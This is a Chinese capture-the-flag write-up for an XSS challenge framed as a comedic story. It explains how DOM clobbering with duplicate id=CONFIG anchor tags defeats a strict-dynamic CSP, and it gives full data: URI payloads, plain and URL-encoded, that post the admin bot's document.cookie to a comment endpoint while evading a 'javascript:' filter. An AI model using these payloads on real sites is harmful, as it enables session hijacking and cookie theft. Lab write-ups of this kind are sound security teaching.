云计算百科
云计算领域专业知识百科平台

【XSS】乌托邦·王的实验室

描述:“你这家伙,上次居然真的能在 33 毫秒的夹缝里动动手脚……” 乌托邦·王咬着笔尖,眼底闪过一丝连她自己都没察觉的雀跃。她迅速转过身,指着面前全新部署的控制台。

“别以为赢了一次就能一直赢下去!既然底层架构拦不住你,那这次我就彻底把前端封死!全新的‘拼少少商城’评价中心部署了基于动态 Nonce 和 strict-dynamic 的极严苛内容安全策略。在这个纯净的 DOM 沙箱里,你的那些恶意脚本根本连执行的机会都不会有!”

一旁的三三甩了甩尾巴,凑到麦克风前:“喵呜……可是王大人昨天晚上对着您的攻击日志复盘了一整夜,还在日记里写了‘如果他这次还能找到我,我就……’喵呜!”

“死三三!你的散热风扇是不是该拆了?!”乌托邦·王满脸通红地捂住三三的嘴,“听好了,笨蛋!所有的评价环境都是互相隔离的,就算你能写入标签,没有执行权限也只是一堆废文本。如果你连这种被锁死在铁笼里的防御都能瓦解,利用那些毫无生气的标签篡改我的意志……”

乌托邦·王的声音越来越小,最后几乎细若游丝:“那……那本小姐就真的认栽了。不管你想要什么,我都……都答应你就是了。”

在script.js里能看到几个重要的:

let externalConfig = window.CONFIG; // 读全局变量
finalSettings.analyticsUrl = externalConfig.analytics.href;
const s = document.createElement('script');
s.src = settings.analyticsUrl; // 可控 URL
document.body.appendChild(s); // strict-dynamic 放行

在浏览器中,有三条 "命名规则":

  • 页面里任何 id="X" 的元素,会自动挂到 window.X;
  • 当有两个以上同 id 的元素时,window.X 变成一个集合 HTMLCollection;集合可以用 .name名 再取出其中带该 name 的元素;
  • <a> 的 href 被 JS 读取时,浏览器会返回一个完整 URL 字符串(<div> 之类没有 href,给不了 URL)。
  • 因为是window.CONFIG,所以就应该有两个id="CONFIG",放入a标签里面,然后再往里面的href插入恶意代码。

    先放两个<a id=CONFIG></a>,让id=CONFIG这个元素注册成全局变量 window.CONFIG。没加引号是因为值 CONFIG 不含空格 / 引号,HTML 允许省略属性引号。

    有两个及以上同 id → window.CONFIG 自动变成一个集合 HTMLCollection,而集合才支持 " 再用 name 取内部元素 "。 所以必须有两个同 id,第一个纯粹用来把 window.CONFIG "撑成集合"。

    所以第二个的id=CONFIG,让它也进入上面那个集合,成为集合第 2 个元素。

    接下来我们要用name 取内部元素,所以我们要用name给集合提供一个命名项,于是 集合.<命名项> 就能取到这个标签。

    再看script.js:

    let externalConfig = window.CONFIG; // 想要一个配置对象
    finalSettings.analyticsUrl = externalConfig.analytics.href; // 想要 配置.analytics.href 这个URL

    所以就把命名项命名为analytics。

    如下:

    <a id=CONFIG></a> ← 标签①:凑数
    <a id=CONFIG name=analytics href="">x</a> ← 标签②:真正干活

    当我们注入后,浏览器实际给出的是:

    代码表达式实际取到
    window.CONFIG 两个 <a> 组成的 HTMLCollection
    window.CONFIG.analytics 集合里 name="analytics" 的第二个 <a>
    window.CONFIG.analytics.href 第二个 <a> 的 href,即插入的恶意代码

    这就是 DOM Clobbering(DOM 打击 / 篡改):不执行任何脚本,仅靠 HTML 标签 "无中生有" 出 JS 以为存在的全局对象。

    轮到恶意代码环节。我们要把 JS 塞进一个 URL里。

    data: URI 的标准格式:

    data:[<MIME类型>][;base64],<数据本体>

    因为是js,所以MIME 类型为text/javascript,base64可以忽略,因为我们不需要转为base64编码。

    浏览器中有一个内置的 HTTP 请求函数,它在谁的页面运行,就以谁的身份 / 凭证发请求。这段代码运行在管理员 bot 的页面,所以发出的请求天然带着管理员的 cookie(同源时自动携带)。即fetch( url, 配置对象 )。

    从js中我们能看到对应的url和配置对象,第一个相对路径,等于我们向谁发送请求,比如我们在p5向p4发送请求,则url为/api/comments/p4。

    fetch整体则为js中给出的:

    fetch('/api/comments/p4', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ content: 'COOKIE=' + document.cookie })
    })

    fetch('/api/comments/p4', {method: 'POST',headers: { 'Content-Type': 'application/json' },body: JSON.stringify({ content: 'COOKIE=' + document.cookie })})

    HTTP 请求体本质是字符串,不能直接塞 JS 对象,所以用 JSON.stringify(…) 把对象序列化成:

    {"content":"COOKIE=flag=flag{….}"}

    content为这个对象的键,必须叫这个名字。

    最终payload如下:

    <a id=CONFIG></a><a id=CONFIG name=analytics href="data:text/javascript,fetch('/api/comments/p4', {method:'POST',headers:{'Content-Type':'application/json'},body: JSON.stringify({content:'COOKIE='+document.cookie})})">x</a>

    把fetch里的内容进行url编码:
    <a id=CONFIG></a><a id=CONFIG name=analytics href="data:text/javascript,fetch('%2Fapi%2Fcomments%2Fp4'%2C%20%7Bmethod%3A'POST'%2Cheaders%3A%7B'Content-Type'%3A'application%2Fjson'%7D%2Cbody%3A%20JSON.stringify(%7Bcontent%3A'COOKIE%3D'%2Bdocument.cookie%7D)%7D)">x</a>

    为什么要编码?data URI 本质是个 URL,空格、引号、{}、中文等字符在 URL/HTML 属性里不安全,编码后只剩字母数字和 %,既能安全传输,又顺带让过滤器只看到一串普通 %XX,看不到裸代码和 javascript: 这种敏感词(白名单删 javascript: 但放行 data:)。浏览器加载 data URI 时会自动解码再执行,两种写法效果完全相同。

    发布评价点击后呼叫管理员审核。

    进入p4就可以直接看到flag。

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 【XSS】乌托邦·王的实验室
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!